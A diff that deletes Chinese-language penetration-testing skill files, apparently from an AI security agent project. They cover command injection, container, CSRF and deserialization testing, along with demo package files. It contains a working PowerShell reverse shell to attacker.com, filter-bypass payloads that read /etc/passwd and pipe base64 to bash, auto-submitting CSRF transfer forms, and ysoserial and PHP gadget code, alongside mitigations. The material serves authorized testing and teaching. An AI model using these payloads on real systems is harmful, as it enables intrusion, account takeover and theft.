& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 空格绕过
|
||||
|
||||
```
|
||||
${IFS}id
|
||||
${IFS}whoami
|
||||
$IFS$9id
|
||||
<>
|
||||
%09 (Tab)
|
||||
%20 (Space)
|
||||
```
|
||||
|
||||
### 命令分隔符绕过
|
||||
|
||||
**编码绕过:**
|
||||
```
|
||||
%3b (;)
|
||||
%26 (&)
|
||||
%7c (|)
|
||||
```
|
||||
|
||||
**换行绕过:**
|
||||
```
|
||||
%0a (换行)
|
||||
%0d (回车)
|
||||
```
|
||||
|
||||
### 关键字过滤绕过
|
||||
|
||||
**变量拼接:**
|
||||
```bash
|
||||
a=w;b=ho;c=ami;$a$b$c
|
||||
```
|
||||
|
||||
**通配符:**
|
||||
```bash
|
||||
/bin/c?t /etc/passwd
|
||||
/usr/bin/ca* /etc/passwd
|
||||
```
|
||||
|
||||
**引号绕过:**
|
||||
```bash
|
||||
w'h'o'a'm'i
|
||||
w"h"o"a"m"i
|
||||
```
|
||||
|
||||
**反斜杠:**
|
||||
```bash
|
||||
w\ho\am\i
|
||||
```
|
||||
|
||||
**Base64编码:**
|
||||
```bash
|
||||
echo "d2hvYW1p" | base64 -d | bash
|
||||
```
|
||||
|
||||
### 长度限制绕过
|
||||
|
||||
**使用文件:**
|
||||
```bash
|
||||
echo "id" > /tmp/c
|
||||
sh /tmp/c
|
||||
```
|
||||
|
||||
**使用环境变量:**
|
||||
```bash
|
||||
export x='id';$x
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Commix
|
||||
|
||||
```bash
|
||||
# 基础扫描
|
||||
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
|
||||
|
||||
# 指定注入点
|
||||
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"
|
||||
|
||||
# 获取Shell
|
||||
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截请求
|
||||
2. 发送到Intruder
|
||||
3. 使用命令注入Payload列表
|
||||
4. 观察响应或时间延迟
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以执行系统命令
|
||||
2. 验证命令执行结果
|
||||
3. 评估影响(系统控制、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和输入参数
|
||||
- 可执行的命令类型
|
||||
- 完整的利用步骤和POC
|
||||
- 修复建议(输入验证、参数化、白名单等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **避免命令执行**
|
||||
- 使用API替代系统命令
|
||||
- 使用库函数替代命令
|
||||
|
||||
2. **输入验证**
|
||||
```python
|
||||
import re
|
||||
|
||||
def validate_ip(ip):
|
||||
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
|
||||
if not re.match(pattern, ip):
|
||||
raise ValueError("Invalid IP")
|
||||
parts = ip.split('.')
|
||||
if not all(0 <= int(p) <= 255 for p in parts):
|
||||
raise ValueError("Invalid IP range")
|
||||
return ip
|
||||
```
|
||||
|
||||
3. **参数化命令**
|
||||
```python
|
||||
import subprocess
|
||||
|
||||
# 危险
|
||||
subprocess.call(['ping', '-c', '1', user_input])
|
||||
|
||||
# 安全 - 使用参数列表
|
||||
subprocess.call(['ping', '-c', '1', validated_ip])
|
||||
```
|
||||
|
||||
4. **白名单验证**
|
||||
```python
|
||||
ALLOWED_COMMANDS = ['ping', 'nslookup']
|
||||
ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
|
||||
|
||||
if command not in ALLOWED_COMMANDS:
|
||||
raise ValueError("Command not allowed")
|
||||
```
|
||||
|
||||
5. **最小权限**
|
||||
- 使用低权限用户运行应用
|
||||
- 限制文件系统访问
|
||||
- 使用chroot或容器隔离
|
||||
|
||||
6. **输出过滤**
|
||||
- 限制输出内容
|
||||
- 过滤敏感信息
|
||||
- 记录命令执行日志
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对系统造成破坏
|
||||
- 注意不同操作系统的命令差异
|
||||
- 测试时注意命令执行的影响范围
|
||||
@@ -1,377 +0,0 @@
|
||||
---
|
||||
name: container-security-testing
|
||||
description: 容器安全测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 容器安全测试
|
||||
|
||||
## 概述
|
||||
|
||||
容器安全测试是确保容器化应用安全性的重要环节。本技能提供容器安全测试的方法、工具和最佳实践,涵盖Docker、Kubernetes等容器技术。
|
||||
|
||||
## 测试范围
|
||||
|
||||
### 1. 镜像安全
|
||||
|
||||
**检查项目:**
|
||||
- 基础镜像漏洞
|
||||
- 依赖包漏洞
|
||||
- 镜像配置
|
||||
- 敏感信息
|
||||
|
||||
### 2. 运行时安全
|
||||
|
||||
**检查项目:**
|
||||
- 容器权限
|
||||
- 资源限制
|
||||
- 网络隔离
|
||||
- 文件系统
|
||||
|
||||
### 3. 编排安全
|
||||
|
||||
**检查项目:**
|
||||
- Kubernetes配置
|
||||
- 服务账户
|
||||
- RBAC
|
||||
- 网络策略
|
||||
|
||||
## Docker安全测试
|
||||
|
||||
### 镜像扫描
|
||||
|
||||
**使用Trivy:**
|
||||
```bash
|
||||
# 扫描镜像
|
||||
trivy image nginx:latest
|
||||
|
||||
# 扫描本地镜像
|
||||
trivy image --input nginx.tar
|
||||
|
||||
# 只显示高危漏洞
|
||||
trivy image --severity HIGH,CRITICAL nginx:latest
|
||||
```
|
||||
|
||||
**使用Clair:**
|
||||
```bash
|
||||
# 启动Clair
|
||||
docker run -d --name clair clair:latest
|
||||
|
||||
# 扫描镜像
|
||||
clair-scanner --ip 192.168.1.100 nginx:latest
|
||||
```
|
||||
|
||||
**使用Docker Bench:**
|
||||
```bash
|
||||
# 运行Docker安全基准测试
|
||||
docker run --rm --net host --pid host --userns host --cap-add audit_control \
|
||||
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
|
||||
-v /etc:/etc:ro \
|
||||
-v /usr/bin/containerd:/usr/bin/containerd:ro \
|
||||
-v /usr/bin/runc:/usr/bin/runc:ro \
|
||||
-v /usr/lib/systemd:/usr/lib/systemd:ro \
|
||||
-v /var/lib:/var/lib:ro \
|
||||
-v /var/run/docker.sock:/var/run/docker.sock:ro \
|
||||
--label docker_bench_security \
|
||||
docker/docker-bench-security
|
||||
```
|
||||
|
||||
### 容器配置检查
|
||||
|
||||
**检查Dockerfile:**
|
||||
```dockerfile
|
||||
# 安全问题示例
|
||||
FROM ubuntu:latest # 使用latest标签
|
||||
RUN apt-get update && apt-get install -y curl # 未指定版本
|
||||
COPY . /app # 可能包含敏感文件
|
||||
ENV PASSWORD=secret # 硬编码密码
|
||||
USER root # 使用root用户
|
||||
```
|
||||
|
||||
**安全最佳实践:**
|
||||
```dockerfile
|
||||
# 使用特定版本
|
||||
FROM ubuntu:20.04
|
||||
|
||||
# 指定包版本
|
||||
RUN apt-get update && apt-get install -y curl=7.68.0-1ubuntu2.7
|
||||
|
||||
# 使用非root用户
|
||||
RUN useradd -m appuser
|
||||
USER appuser
|
||||
|
||||
# 最小化镜像
|
||||
FROM alpine:3.15
|
||||
|
||||
# 多阶段构建
|
||||
FROM golang:1.18 AS builder
|
||||
WORKDIR /app
|
||||
COPY . .
|
||||
RUN go build -o app
|
||||
|
||||
FROM alpine:3.15
|
||||
COPY --from=builder /app/app /app
|
||||
```
|
||||
|
||||
### 运行时检查
|
||||
|
||||
**检查容器权限:**
|
||||
```bash
|
||||
# 检查特权容器
|
||||
docker ps --filter "label=privileged=true"
|
||||
|
||||
# 检查挂载的主机目录
|
||||
docker inspect container_name | grep -A 10 Mounts
|
||||
|
||||
# 检查容器网络
|
||||
docker network inspect network_name
|
||||
```
|
||||
|
||||
**检查资源限制:**
|
||||
```bash
|
||||
# 检查内存限制
|
||||
docker stats container_name
|
||||
|
||||
# 检查CPU限制
|
||||
docker inspect container_name | grep -i cpu
|
||||
```
|
||||
|
||||
## Kubernetes安全测试
|
||||
|
||||
### 配置检查
|
||||
|
||||
**使用kube-bench:**
|
||||
```bash
|
||||
# 运行kube-bench
|
||||
kube-bench run
|
||||
|
||||
# 检查特定基准
|
||||
kube-bench run --targets master,node,etcd
|
||||
```
|
||||
|
||||
**使用kube-hunter:**
|
||||
```bash
|
||||
# 运行kube-hunter
|
||||
kube-hunter --remote target-ip
|
||||
|
||||
# 主动模式
|
||||
kube-hunter --active
|
||||
```
|
||||
|
||||
### Pod安全
|
||||
|
||||
**检查Pod安全策略:**
|
||||
```yaml
|
||||
# 不安全的Pod配置
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: app
|
||||
image: nginx
|
||||
securityContext:
|
||||
privileged: true # 特权模式
|
||||
runAsUser: 0 # root用户
|
||||
```
|
||||
|
||||
**安全配置:**
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
runAsUser: 1000
|
||||
fsGroup: 2000
|
||||
containers:
|
||||
- name: app
|
||||
image: nginx
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities:
|
||||
drop:
|
||||
- ALL
|
||||
add:
|
||||
- NET_BIND_SERVICE
|
||||
```
|
||||
|
||||
### RBAC检查
|
||||
|
||||
**检查角色权限:**
|
||||
```bash
|
||||
# 列出所有角色
|
||||
kubectl get roles --all-namespaces
|
||||
|
||||
# 检查角色绑定
|
||||
kubectl get rolebindings --all-namespaces
|
||||
|
||||
# 检查集群角色
|
||||
kubectl get clusterroles
|
||||
|
||||
# 检查用户权限
|
||||
kubectl auth can-i --list --as=system:serviceaccount:default:sa-name
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 过度权限
|
||||
- 未使用的角色
|
||||
- 未使用的服务账户
|
||||
|
||||
### 网络策略
|
||||
|
||||
**检查网络策略:**
|
||||
```bash
|
||||
# 列出所有网络策略
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
|
||||
# 检查网络策略配置
|
||||
kubectl describe networkpolicy policy-name -n namespace
|
||||
```
|
||||
|
||||
**网络策略示例:**
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata:
|
||||
name: default-deny
|
||||
spec:
|
||||
podSelector: {}
|
||||
policyTypes:
|
||||
- Ingress
|
||||
- Egress
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Falco
|
||||
|
||||
**运行时安全监控:**
|
||||
```bash
|
||||
# 安装Falco
|
||||
helm repo add falcosecurity https://falcosecurity.github.io/charts
|
||||
helm install falco falcosecurity/falco
|
||||
|
||||
# 检查规则
|
||||
falco -r /etc/falco/rules.d/
|
||||
```
|
||||
|
||||
### Aqua Security
|
||||
|
||||
```bash
|
||||
# 扫描镜像
|
||||
aqua image scan nginx:latest
|
||||
|
||||
# 扫描Kubernetes集群
|
||||
aqua k8s scan
|
||||
```
|
||||
|
||||
### Snyk
|
||||
|
||||
```bash
|
||||
# 扫描Dockerfile
|
||||
snyk test --docker nginx:latest
|
||||
|
||||
# 扫描Kubernetes配置
|
||||
snyk iac test k8s/
|
||||
```
|
||||
|
||||
## 测试清单
|
||||
|
||||
### 镜像安全
|
||||
- [ ] 扫描基础镜像漏洞
|
||||
- [ ] 扫描依赖包漏洞
|
||||
- [ ] 检查Dockerfile配置
|
||||
- [ ] 检查敏感信息泄露
|
||||
|
||||
### 运行时安全
|
||||
- [ ] 检查容器权限
|
||||
- [ ] 检查资源限制
|
||||
- [ ] 检查网络隔离
|
||||
- [ ] 检查文件系统挂载
|
||||
|
||||
### 编排安全
|
||||
- [ ] 检查Kubernetes配置
|
||||
- [ ] 检查RBAC配置
|
||||
- [ ] 检查网络策略
|
||||
- [ ] 检查Pod安全策略
|
||||
|
||||
## 常见安全问题
|
||||
|
||||
### 1. 镜像漏洞
|
||||
|
||||
**问题:**
|
||||
- 基础镜像包含漏洞
|
||||
- 依赖包包含漏洞
|
||||
- 未及时更新
|
||||
|
||||
**修复:**
|
||||
- 定期扫描镜像
|
||||
- 及时更新基础镜像
|
||||
- 使用最小化镜像
|
||||
|
||||
### 2. 过度权限
|
||||
|
||||
**问题:**
|
||||
- 容器以root运行
|
||||
- 特权模式
|
||||
- 挂载敏感目录
|
||||
|
||||
**修复:**
|
||||
- 使用非root用户
|
||||
- 禁用特权模式
|
||||
- 限制文件系统访问
|
||||
|
||||
### 3. 配置错误
|
||||
|
||||
**问题:**
|
||||
- 默认配置不安全
|
||||
- 网络策略缺失
|
||||
- RBAC配置错误
|
||||
|
||||
**修复:**
|
||||
- 遵循安全最佳实践
|
||||
- 实施网络策略
|
||||
- 正确配置RBAC
|
||||
|
||||
### 4. 敏感信息泄露
|
||||
|
||||
**问题:**
|
||||
- 镜像包含密钥
|
||||
- 环境变量暴露
|
||||
- 配置文件泄露
|
||||
|
||||
**修复:**
|
||||
- 使用密钥管理
|
||||
- 避免硬编码
|
||||
- 使用Secret对象
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 镜像安全
|
||||
|
||||
- 使用官方基础镜像
|
||||
- 定期更新镜像
|
||||
- 扫描镜像漏洞
|
||||
- 最小化镜像大小
|
||||
|
||||
### 2. 运行时安全
|
||||
|
||||
- 使用非root用户
|
||||
- 限制容器权限
|
||||
- 实施资源限制
|
||||
- 启用安全上下文
|
||||
|
||||
### 3. 编排安全
|
||||
|
||||
- 配置网络策略
|
||||
- 实施RBAC
|
||||
- 使用Pod安全策略
|
||||
- 启用审计日志
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权环境中进行测试
|
||||
- 避免对生产环境造成影响
|
||||
- 注意不同容器平台的差异
|
||||
- 定期进行安全扫描
|
||||
@@ -1,199 +0,0 @@
|
||||
---
|
||||
name: csrf-testing
|
||||
description: CSRF跨站请求伪造测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# CSRF跨站请求伪造测试
|
||||
|
||||
## 概述
|
||||
|
||||
CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态进行未授权操作的攻击方式。本技能提供CSRF漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
- 攻击者诱导用户访问恶意页面
|
||||
- 恶意页面自动发送请求到目标网站
|
||||
- 浏览器自动携带用户的认证信息(Cookie、Session)
|
||||
- 目标网站误认为是用户合法操作
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别敏感操作
|
||||
|
||||
- 密码修改
|
||||
- 邮箱修改
|
||||
- 转账操作
|
||||
- 权限变更
|
||||
- 数据删除
|
||||
- 状态更新
|
||||
|
||||
### 2. 检测CSRF Token
|
||||
|
||||
**检查是否有Token保护:**
|
||||
```html
|
||||
<!-- 有Token保护 -->
|
||||
<form method="POST" action="/change-password">
|
||||
<input type="hidden" name="csrf_token" value="abc123">
|
||||
<input type="password" name="new_password">
|
||||
</form>
|
||||
|
||||
<!-- 无Token保护 - 存在CSRF风险 -->
|
||||
<form method="POST" action="/change-email">
|
||||
<input type="email" name="new_email">
|
||||
</form>
|
||||
```
|
||||
|
||||
### 3. 验证Token有效性
|
||||
|
||||
**测试Token是否可预测:**
|
||||
- Token是否基于时间戳
|
||||
- Token是否基于用户ID
|
||||
- Token是否可重复使用
|
||||
- Token是否在多个请求间共享
|
||||
|
||||
### 4. 检查Referer验证
|
||||
|
||||
**测试Referer检查是否可绕过:**
|
||||
```javascript
|
||||
// 正常请求
|
||||
Referer: https://target.com/change-password
|
||||
|
||||
// 测试绕过
|
||||
Referer: https://target.com.evil.com
|
||||
Referer: https://evil.com/?target.com
|
||||
Referer: (空)
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 基础CSRF攻击
|
||||
|
||||
**HTML表单自动提交:**
|
||||
```html
|
||||
<form action="https://target.com/api/transfer" method="POST" id="csrf">
|
||||
<input type="hidden" name="to" value="attacker_account">
|
||||
<input type="hidden" name="amount" value="10000">
|
||||
</form>
|
||||
<script>document.getElementById('csrf').submit();</script>
|
||||
```
|
||||
|
||||
### JSON CSRF
|
||||
|
||||
**绕过Content-Type检查:**
|
||||
```html
|
||||
<!-- 使用form表单提交JSON -->
|
||||
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
|
||||
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
|
||||
</form>
|
||||
<script>document.forms[0].submit();</script>
|
||||
```
|
||||
|
||||
### GET请求CSRF
|
||||
|
||||
**利用GET请求进行攻击:**
|
||||
```html
|
||||
<img src="https://target.com/api/delete?id=123">
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### Token绕过
|
||||
|
||||
**如果Token在Cookie中:**
|
||||
```javascript
|
||||
// 如果Token同时存在于Cookie和表单中
|
||||
// 可以尝试只提交Cookie中的Token
|
||||
fetch('https://target.com/api/action', {
|
||||
method: 'POST',
|
||||
credentials: 'include',
|
||||
body: 'action=delete&id=123'
|
||||
// 不包含csrf_token参数,依赖Cookie
|
||||
});
|
||||
```
|
||||
|
||||
### SameSite Cookie绕过
|
||||
|
||||
**利用子域名:**
|
||||
- 如果SameSite=Lax,GET请求仍可携带Cookie
|
||||
- 利用子域名进行攻击
|
||||
|
||||
### 双重提交Cookie
|
||||
|
||||
**绕过Token验证:**
|
||||
```html
|
||||
<!-- 如果Token在Cookie中,且验证逻辑有缺陷 -->
|
||||
<form action="https://target.com/api/action" method="POST">
|
||||
<input type="hidden" name="csrf_token" value="">
|
||||
<script>
|
||||
// 从Cookie中读取Token
|
||||
document.cookie.split(';').forEach(c => {
|
||||
if(c.trim().startsWith('csrf_token=')) {
|
||||
document.querySelector('input[name="csrf_token"]').value =
|
||||
c.split('=')[1];
|
||||
}
|
||||
});
|
||||
</script>
|
||||
</form>
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**使用CSRF PoC生成器:**
|
||||
1. 拦截目标请求
|
||||
2. 右键 → Engagement tools → Generate CSRF PoC
|
||||
3. 测试生成的PoC
|
||||
|
||||
### OWASP ZAP
|
||||
|
||||
```bash
|
||||
# 使用ZAP进行CSRF扫描
|
||||
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认目标操作没有CSRF Token保护
|
||||
2. 构造恶意请求并验证可执行
|
||||
3. 评估影响(数据泄露、权限提升、资金损失等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和受影响的操作
|
||||
- 攻击场景和影响范围
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(CSRF Token、SameSite Cookie、Referer验证等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **CSRF Token**
|
||||
- 每个表单包含唯一Token
|
||||
- Token存储在Session中
|
||||
- 验证Token有效性
|
||||
|
||||
2. **SameSite Cookie**
|
||||
```javascript
|
||||
Set-Cookie: session=abc123; SameSite=Strict; Secure
|
||||
```
|
||||
|
||||
3. **双重提交Cookie**
|
||||
- Token同时存在于Cookie和表单
|
||||
- 验证两者是否匹配
|
||||
|
||||
4. **Referer验证**
|
||||
- 验证Referer是否为同源
|
||||
- 注意空Referer的处理
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对用户账户造成实际影响
|
||||
- 记录所有测试步骤
|
||||
- 考虑不同浏览器的行为差异
|
||||
@@ -1,8 +0,0 @@
|
||||
# 表单 / 检查项(示例)
|
||||
|
||||
本文件演示 **Level 3** 资源:与主说明分离,按需通过多代理 **`skill`** 或 HTTP `resource_path=FORMS.md` 加载。
|
||||
|
||||
## 授权检查表
|
||||
|
||||
- 书面授权是否在有效期内?
|
||||
- 测试范围(域名 / IP)是否与授权一致?
|
||||
@@ -1,14 +0,0 @@
|
||||
# API / 参考(示例)
|
||||
|
||||
## HTTP `/api/skills/{id}`
|
||||
|
||||
- `resource_path`:包内相对路径,例如 `FORMS.md`、`scripts/payloads.txt`。
|
||||
- `depth=summary`:仅摘要与目录,适合首轮检索。
|
||||
|
||||
## 多代理运行时
|
||||
|
||||
- 使用 Eino ADK **`skill`** 工具按技能包渐进加载;可选开启 `multi_agent.eino_skills.filesystem_tools` 访问包内文件。
|
||||
|
||||
## 链接
|
||||
|
||||
- [Agent Skills 概览](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview)
|
||||
@@ -1,65 +0,0 @@
|
||||
---
|
||||
name: cyberstrike-eino-demo
|
||||
description: 满配示例技能包:SKILL.md + scripts/、references/、assets/ 等可选目录;验证 Eino skill 与 HTTP 包内路径(仅授权安全测试与教学)。
|
||||
---
|
||||
|
||||
# CyberStrike × Eino 满配技能演示
|
||||
|
||||
本包与 [Agent Skills](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview) 一致:**`SKILL.md` 为清单 + 主说明**(无单独 `SKILL.yaml`)。同目录可有 **`scripts/`**、**`references/`**、**`assets/`** 等任意子目录(只要路径安全、未触达包深度/文件数上限),由 **`ListPackageFiles` / `resource_path`** 与 Eino 本机工具读取。补充说明见 `FORMS.md`、`REFERENCE.md`。
|
||||
|
||||
## 概述
|
||||
|
||||
用于一次性验证:
|
||||
|
||||
- HTTP `GET /api/skills` 列表(`script_count`、`file_count`、`progressive` 等为推导/扫描结果)
|
||||
- `GET /api/skills/cyberstrike-eino-demo?depth=summary|full`
|
||||
- `section=` 对应 `SKILL.md` 中 **`##` 标题**或 ASCII 标题的短 id(例如 `## Payload 样例` 常对应 `section=payload`)
|
||||
- 多代理内 ADK **`skill`** 工具(及可选本机文件工具)读取包内相对路径资源
|
||||
- Eino `FilesystemSkillsRetriever` 对包摘要、`##` 分块、脚本条目的检索
|
||||
|
||||
**硬性要求**:任何测试须取得书面授权,并限定在约定范围与时间窗口内。
|
||||
|
||||
## 授权测试工作流
|
||||
|
||||
1. **范围确认**:域名 / IP、接口列表、禁止动作(DoS、数据拖库等)。
|
||||
2. **基线记录**:对约定资产做只读探测,保存时间戳与原始请求/响应摘要。
|
||||
3. **分类测试**:按漏洞类型拆分任务;高风险操作前二次确认授权边界。
|
||||
4. **证据与报告**:每个发现附带复现步骤、影响、修复建议;敏感数据脱敏。
|
||||
5. **收尾**:删除临时账号、清理测试数据、移交报告。
|
||||
|
||||
## Payload 样例
|
||||
|
||||
以下为 **教学占位**,实际测试需替换为目标上下文且不得用于未授权系统:
|
||||
|
||||
- SQLi 探测(错误型):`"'`(观察是否触发数据库错误信息泄露)
|
||||
- XSS 反射型(无害化):`<script>alert(1)</script>` → 在靶场中应被编码或 CSP 拦截
|
||||
- 路径穿越(只读验证):`....//....//etc/passwd`(仅在授权文件读取场景)
|
||||
|
||||
详细列表见 `scripts/payloads.txt`。
|
||||
|
||||
## references/ 与 assets/
|
||||
|
||||
用于验证非 `scripts/` 的子目录是否被同等对待:
|
||||
|
||||
| 路径 | 用途 |
|
||||
|------|------|
|
||||
| `references/citations.md` | 引用与 HTTP `resource_path` 测试说明 |
|
||||
| `assets/README.txt` | 占位资源(可换成真实二进制做读文件上限测试) |
|
||||
|
||||
## 推荐工具链
|
||||
|
||||
| 阶段 | 工具示例 |
|
||||
|------|-----------|
|
||||
| 代理与重放 | Burp Suite、mitmproxy |
|
||||
| 扫描与目录 | ffuf、nuclei(需调低并发遵守授权) |
|
||||
| 漏洞验证 | 自写 PoC、官方 CLI(sqlmap 等)仅在授权范围内 |
|
||||
| 记录 | Markdown + JSON 片段模板(见 `scripts/report-snippet.json`) |
|
||||
|
||||
## 清单与验证
|
||||
|
||||
- [ ] 已保存书面授权与测试窗口
|
||||
- [ ] `scripts/` 下文件与正文引用一致
|
||||
- [ ] Web 或 `GET /api/skills?...` 可核对索引;多代理会话内用 **`skill`** 工具按包加载以节省 token
|
||||
- [ ] 需要细节时通过 **`skill`** 拉全文,或 HTTP `depth=full`、`section=<标题或短 id>`
|
||||
- [ ] 需要脚本原文时通过本机文件工具或 HTTP `resource_path=scripts/check-env.sh`
|
||||
- [ ] `resource_path=references/citations.md` 与 `resource_path=assets/README.txt` 可读取
|
||||
@@ -1,8 +0,0 @@
|
||||
CyberStrike skill package — assets/ smoke test
|
||||
==============================================
|
||||
|
||||
This plain-text file checks that arbitrary subfolders under a skill package
|
||||
(e.g. assets/) are listed and readable via /api/skills/...?resource_path=...
|
||||
|
||||
You may replace this with real binaries (images, zips, etc.) in authorized tests.
|
||||
Max read size is enforced by the server (see skillpackage default limits).
|
||||
@@ -1,13 +0,0 @@
|
||||
# 引用与外链(示例)
|
||||
|
||||
本文件用于验证技能包内 **`references/`** 目录是否被列表 API、HTTP `resource_path` 及多代理本机文件工具正常识别。
|
||||
|
||||
## 测试方式(授权环境内)
|
||||
|
||||
1. `GET /api/skills/cyberstrike-eino-demo` 响应中的 `package_files` 应包含 `references/citations.md`。
|
||||
2. `GET /api/skills/cyberstrike-eino-demo?resource_path=references/citations.md` 应返回本文内容。
|
||||
3. 多代理且开启 `eino_skills.filesystem_tools` 时,可通过相对路径读取本文件。
|
||||
|
||||
## 占位引用
|
||||
|
||||
- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)(仅作链接格式示例)
|
||||
@@ -1,7 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Demo only — not executed by CyberStrike server; safe to display when previewing the skill package.
|
||||
set -euo pipefail
|
||||
echo "cyberstrike-eino-demo / scripts/check-env.sh"
|
||||
echo "Purpose: illustrate bundled script resource in a skill package."
|
||||
echo "This script does not modify the system when shown in a preview or read-only context."
|
||||
uname -s 2>/dev/null || echo "(uname unavailable in display context)"
|
||||
@@ -1,4 +0,0 @@
|
||||
# Placeholder payloads for authorized testing labs only.
|
||||
sqli-probe: '
|
||||
xss-probe: <svg/onload=alert(1)>
|
||||
ssrf-probe: http://127.0.0.1:80 (only if scope explicitly allows loopback)
|
||||
@@ -1,8 +0,0 @@
|
||||
{
|
||||
"title": "Example finding",
|
||||
"severity": "medium",
|
||||
"affected": "https://example.com/api/v1/search",
|
||||
"summary": "Parameterized query reflects error message; verify with authorized DAST only.",
|
||||
"remediation": "Use prepared statements; generic error pages in production.",
|
||||
"references": ["OWASP SQL Injection"]
|
||||
}
|
||||
@@ -1,310 +0,0 @@
|
||||
---
|
||||
name: deserialization-testing
|
||||
description: 反序列化漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 反序列化漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。
|
||||
|
||||
## 常见格式
|
||||
|
||||
### Java
|
||||
|
||||
**常见库:**
|
||||
- Java原生序列化
|
||||
- Jackson
|
||||
- Fastjson
|
||||
- XStream
|
||||
- Apache Commons Collections
|
||||
|
||||
### PHP
|
||||
|
||||
**常见函数:**
|
||||
- unserialize()
|
||||
- json_decode()
|
||||
|
||||
### Python
|
||||
|
||||
**常见模块:**
|
||||
- pickle
|
||||
- yaml
|
||||
- json
|
||||
|
||||
### .NET
|
||||
|
||||
**常见类:**
|
||||
- BinaryFormatter
|
||||
- SoapFormatter
|
||||
- DataContractSerializer
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别序列化数据
|
||||
|
||||
**Java序列化特征:**
|
||||
```
|
||||
AC ED 00 05 (十六进制)
|
||||
rO0 (Base64)
|
||||
```
|
||||
|
||||
**PHP序列化特征:**
|
||||
```
|
||||
O:8:"stdClass"
|
||||
a:2:{s:4:"test";s:4:"data";}
|
||||
```
|
||||
|
||||
**Python pickle特征:**
|
||||
```
|
||||
\x80\x03
|
||||
```
|
||||
|
||||
### 2. 检测反序列化点
|
||||
|
||||
**常见位置:**
|
||||
- Cookie值
|
||||
- Session数据
|
||||
- API参数
|
||||
- 文件上传
|
||||
- 缓存数据
|
||||
- 消息队列
|
||||
|
||||
### 3. Java反序列化
|
||||
|
||||
**Apache Commons Collections利用:**
|
||||
```java
|
||||
// 使用ysoserial生成Payload
|
||||
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
|
||||
```
|
||||
|
||||
**常见Gadget链:**
|
||||
- CommonsCollections1-7
|
||||
- Spring1-2
|
||||
- ROME
|
||||
- Jdk7u21
|
||||
|
||||
### 4. PHP反序列化
|
||||
|
||||
**基础测试:**
|
||||
```php
|
||||
<?php
|
||||
class Test {
|
||||
public $cmd = "id";
|
||||
function __destruct() {
|
||||
system($this->cmd);
|
||||
}
|
||||
}
|
||||
echo serialize(new Test());
|
||||
